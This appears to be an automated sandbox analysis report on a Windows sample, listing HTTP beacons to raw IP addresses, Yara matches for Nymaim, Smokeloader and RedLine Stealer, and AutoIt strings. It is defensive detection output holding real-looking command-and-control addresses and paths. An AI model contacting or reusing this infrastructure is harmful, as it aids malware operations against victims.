Source: global traffic	HTTP traffic detected: GET /powfhxhxcjzx/ping.php?sub=NOSUB&stream=mixtwo&substream=mixinte HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 208.67.104.97Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /storage/ping.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 0Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /storage/extension.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.5:49701 version: TLS 1.2

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 0.0.file.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.20.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.26.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.27.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.28.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.19.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.31.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.32.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.26.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.24.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.25.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.24.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.30.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.31.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.28.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.18.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.21.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.32.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.30.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.29.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.29.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.21.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.27.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.25.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.23.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.313758394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.303166143.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.308578404.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.318572521.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.308973675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.339625229.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.337565462.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301103570.0000000002200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.319176574.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324022607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.352494062.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.345502074.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.346406888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.313405136.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324526447.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.302389344.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.351860425.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.345695495.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.313966134.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.352618407.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.319401695.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.318795705.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.302663434.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.309109018.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.324683404.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.313496806.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.339850258.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.337744676.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.346524213.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.303421378.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.308709997.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.352027898.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000000.324186328.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Binary is likely a compiled AutoIt script file

Source: file.exe, 00000000.00000003.397979346.0000000003B38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: S D S O F T W A R E \ C l a s s e s \ \ C L S I D \ \ \ I P C $ This is a third-party compiled AutoIt script. " r u n a s E r r o r a l l o c a t i n g m e m o r y . S e A s s i g n P r i m a r y T o k e n P r i v i l e g e S e I n c r e a s e Q u o t a P r i v i l e g e S e B a c k u p P r i v i l e g e S e R e s t o r e P r i v i l e g e w i n s t a 0 d e f a u l t w i n s t a 0 \ d e f a u l t C o m b o B o x L i s t B o x \| S H E L L D L L _ D e f V i e w l a r g e i c o n s d e t a i l s s m a l l i c o n s l i s t C L A S S C L A S S N N R E G E X P C L A S S I D N A M E X Y W H I N S T A N C E T E X T % s % u % s % d L A S T [ L A S T A C T I V E [ A C T I V E H A N D L E = [ H A N D L E : R E G E X P = [ R E G E X P T I T L E : C L A S S N A M E = [ C L A S S : A L L [ A L L ] H A N D L E R E G E X P T I T L E T I T L E T h u m b n a i l C l a s s A u t o I t 3 G U I C o n t a i n e r
Source: file.exe, 00000000.00000003.397181880.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: S D S O F T W A R E \ C l a s s e s \ \ C L S I D \ \ \ I P C $ This is a third-party compiled AutoIt script. " r u n a s E r r o r a l l o c a t i n g m e m o r y . S e A s s i g n P r i m a r y T o k e n P r i v i l e g e S e I n c r e a s e Q u o t a P r i v i l e g e S e B a c k u p P r i v i l e g e S e R e s t o r e P r i v i l e g e w i n s t a 0 d e f a u l t w i n s t a 0 \ d e f a u l t C o m b o B o x L i s t B o x \| S H E L L D L L _ D e f V i e w l a r g e i c o n s d e t a i l s s m a l l i c o n s l i s t C L A S S C L A S S N N R E G E X P C L A S S I D N A M E X Y W H I N S T A N C E T E X T % s % u % s % d L A S T [ L A S T A C T I V E [ A C T I V E H A N D L E = [ H A N D L E : R E G E X P = [ R E G E X P T I T L E : C L A S S N A M E = [ C L A S S : A L L [ A L L ] H A N D L E R E G E X P T I T L E T I T L E T h u m b n a i l C l a s s A u t o I t 3 G U I C o n t a i n e r
Source: soft[1].0.dr	String found in binary or memory: S D S O F T W A R E \ C l a s s e s \ \ C L S I D \ \ \ I P C $ This is a third-party compiled AutoIt script. " r u n a s E r r o r a l l o c a t i n g m e m o r y . S e A s s i g n P r i m a r y T o k e n P r i v i l e g e S e I n c r e a s e Q u o t a P r i v i l e g e S e B a c k u p P r i v i l e g e S e R e s t o r e P r i v i l e g e w i n s t a 0 d e f a u l t w i n s t a 0 \ d e f a u l t C o m b o B o x L i s t B o x \| S H E L L D L L _ D e f V i e w l a r g e i c o n s d e t a i l s s m a l l i c o n s l i s t C L A S S C L A S S N N R E G E X P C L A S S I D N A M E X Y W H I N S T A N C E T E X T % s % u % s % d L A S T [ L A S T A C T I V E [ A C T I V E H A N D L E = [ H A N D L E : R E G E X P = [ R E G E X P T I T L E : C L A S S N A M E = [ C L A S S : A L L [ A L L ] H A N D L E R E G E X P T I T L E T I T L E T h u m b n a i l C l a s s A u t o I t 3 G U I C o n t a i n e r

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000000.345695495.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.313966134.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000000.352618407.0000000000739000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
